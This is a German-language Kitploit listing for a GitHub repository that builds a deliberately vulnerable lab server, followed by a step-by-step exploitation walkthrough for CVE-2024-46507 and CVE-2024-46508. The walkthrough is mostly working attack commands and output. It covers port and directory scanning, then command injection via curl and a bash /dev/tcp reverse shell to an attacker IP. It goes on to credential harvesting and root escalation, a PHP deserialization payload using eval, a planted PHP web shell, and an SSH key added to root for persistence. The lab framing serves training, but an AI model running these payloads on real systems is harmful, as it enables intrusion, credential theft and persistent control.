Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-46507 — Build-Skript für CVE-2024-46507 und CVE-2024-46508 | Kitploit
Tools/GitHubGitHub/somchandra17/cve-2024-46507
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungLabs & Praxis
GitHubsomchandra17/cve-2024-46507

CVE-2024-46507

Build-Skript für CVE-2024-46507 und CVE-2024-46508

116vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Das Skript wurde auf Ubuntu Server 20.04 LTS getestet und erstellt, während Kali Linux für die Ausnutzung und den Walkthrough verwendet wurde.

Dieser Walkthrough führt Sie durch die Ausnutzung des verwundbaren Servers, der die Schwachstellen CVE-2024-46507 (Befehlseinschleusung) und CVE-2024-46508 (Authentifizierungsumgehung) enthält.

Erste Erkundung

Exportieren wir zunächst unsere Ziel-IP-Adresse als Variable. Ersetzen Sie diese durch Ihre tatsächliche Ziel-IP:

root@kitploit:~
export TARGET="192.168.65.129"

Port-Scanning

Beginnen wir mit der Identifizierung offener Dienste auf dem Ziel:

root@kitploit:~
# Initialer schneller Scan der üblichen Ports
sudo nmap -sS -T4 $TARGET

# Vollständiger Port-Scan, um nichts zu übersehen
sudo nmap -sS -p- -T4 $TARGET

# Detaillierter Scan der entdeckten Ports mit Service-Erkennung
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

Erwartete Ausgabe des detaillierten Scans:

root@kitploit:~
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webanwendungs-Enumeration

Erkunden wir die Webanwendung auf den gefundenen Ports:

root@kitploit:~
# Port 80 überprüfen (Apache)
firefox http://$TARGET/

# Port 9000 überprüfen (Python SimpleHTTP server)
firefox http://$TARGET:9000/

Beide zeigen auf denselben Anwendungsinhalt. Lassen Sie uns mehr über die Anwendungsstruktur erfahren:

root@kitploit:~
# Verwenden Sie gobuster, um Verzeichnisse und Dateien zu finden
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Erwartete Ausgabe:

root@kitploit:~
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

Überprüfen wir, was sich im API-Verzeichnis befindet:

root@kitploit:~
# Verwenden Sie gobuster, um API-Endpunkte zu finden
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Oder Sie können es einfach im Browser öffnen.

Erwartete Ausgabe:

root@kitploit:~
/process.php (Status: 200)

Ausnutzen von CVE-2024-46507 (Befehlseinschleusung)

Aus unserer Erkundung haben wir den Endpunkt /api/process.php entdeckt. Die Webschnittstelle zeigt ein Formular, das mit einem "command"-Parameter an diesen Endpunkt übermittelt wird.

Testen wir auf Befehlseinschleusung:

root@kitploit:~
# Test mit einem einfachen Befehl
curl "http://$TARGET:9000/api/process.php?command=id"

Erwartete Ausgabe:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Erfolg! Die Anwendung führt unsere Befehle aus. Überprüfen wir, auf was wir noch zugreifen können:

root@kitploit:~
# Verzeichnisinhalt auflisten
curl "http://$TARGET/api/process.php?command=ls+-la"

# Das System erkunden
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

Ausgabe:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 

Nun holen wir uns eine Reverse Shell. Richten Sie zuerst einen Listener auf Ihrer Kali-Maschine ein:

root@kitploit:~
# Starten Sie einen Netcat-Listener
nc -lvnp 4444

Senden Sie dann einen Reverse-Shell-Befehl:

root@kitploit:~
# URL-encode das Reverse-Shell-Payload
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Ersetzen Sie YOUR_KALI_IP durch die tatsächliche IP Ihrer Kali-Maschine

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

Sie sollten jetzt eine Shell als www-data-Benutzer haben! Verbessern wir die Shell:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Drücken Sie Strg+Z, um die Shell in den Hintergrund zu versetzen
# Dann in Ihrem Kali-Terminal:
stty raw -echo; fg
# Drücken Sie zweimal die Eingabetaste

Privilege Escalation mittels CVE-2024-46508

Da wir jetzt eine Shell haben, suchen wir nach sensiblen Dateien:

root@kitploit:~
# Anwendungskonfiguration überprüfen
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

Wir entdecken Standard-Anmeldedaten:

  • Username: admin
  • Password: admin

Überprüfen wir die Datenbank-Anmeldedaten:

root@kitploit:~
# Nach Datenbank-Anmeldedaten suchen
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

Dies sollte die Datenbankverbindungsdetails offenlegen. Greifen wir auf die Datenbank zu:

root@kitploit:~
# Verbindung zu MariaDB herstellen
mysql -u vulnuser -p'password123' vulnapp

Sobald verbunden, erkunden wir die Datenbank:

root@kitploit:~
-- Tabellen anzeigen
SHOW TABLES;

-- Benutzertabelle anzeigen
SELECT * FROM users;

Wir sollten einen Admin-Benutzer mit einem "supersecretpassword"-Passwort finden. Versuchen wir, dies zu nutzen, um Root-Zugriff zu erlangen:

root@kitploit:~
# Versuchen, zu root zu wechseln
su root
# Geben Sie das Passwort ein: supersecretpassword

Falls die su-Methode nicht funktioniert, überprüfen wir andere Wege zur Privilege Escalation:

root@kitploit:~
# Sudo-Berechtigungen überprüfen
sudo -l

# Nach SUID-Binaries suchen
find / -perm -u=s -type f 2>/dev/null

# Nach Cron-Jobs suchen
cat /etc/crontab
ls -la /etc/cron*

Eine zusätzliche Methode ist der SSH-Zugriff mit den entdeckten Anmeldedaten:

root@kitploit:~
# Von Ihrer Kali-Maschine aus
ssh root@$TARGET
# Geben Sie das Passwort ein: supersecretpassword

Die Flagge sichern

Sobald wir Root-Zugriff haben, sollten wir die Flagge finden:

root@kitploit:~
# Nach Flag-Dateien suchen
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# Die Flagge lesen
cat /root/flag.txt

Erwartete Ausgabe:

root@kitploit:~
f1a9d4c2b7e35680d2f1a9c3b7d45e80

Alternative Ausnutzung: PHP-Deserialisierung

Die Anwendung ist auch anfällig für PHP-Deserialisierungsangriffe. Erstellen wir ein bösartiges serialisiertes Objekt:

root@kitploit:~
<?php
// Als exploit.php auf Ihrer Kali-Maschine speichern
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

Erzeugen Sie das Payload:

root@kitploit:~
php exploit.php

Dies gibt ein base64-kodiertes serialisiertes Objekt aus. Senden wir es an den Server:

root@kitploit:~
# Speichern Sie die Ausgabe des vorherigen Befehls als PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

Der Server sollte unseren Code ausführen und die Flagge anzeigen.

Fortgeschrittene Ausnutzung: Persistenz

Für einen dauerhafteren Zugang können wir eine Web-Shell erstellen:

root@kitploit:~
# Als www-data-Benutzer eine PHP-Web-Shell erstellen
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# Zugriff von Kali aus
curl "http://$TARGET/shell.php?cmd=id"

Wir können auch einen SSH-Schlüssel für dauerhaften Root-Zugriff hinzufügen:

root@kitploit:~
# Auf Kali ein SSH-Schlüsselpaar generieren
ssh-keygen -t rsa -f vulnserver_key

# Auf dem Ziel als root unseren öffentlichen Schlüssel hinzufügen
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Dann von Kali aus verbinden
ssh -i vulnserver_key root@$TARGET

Schwachstellen-Zusammenfassung

Dieser Server war anfällig für zwei Hauptprobleme:

  1. CVE-2024-46507: Schwachstelle zur Befehlseinschleusung im API-Endpunkt process.php, die es uns ermöglichte, beliebige Befehle auszuführen.

  2. CVE-2024-46508: Authentifizierungsumgehung und Privilege Escalation aufgrund von:

    • Aktiv gelassenen Standard-Anmeldedaten
    • Schwachem Datenbank-Passwort
    • Passwort-Wiederverwendung über verschiedene Systeme hinweg
Tool herunterladen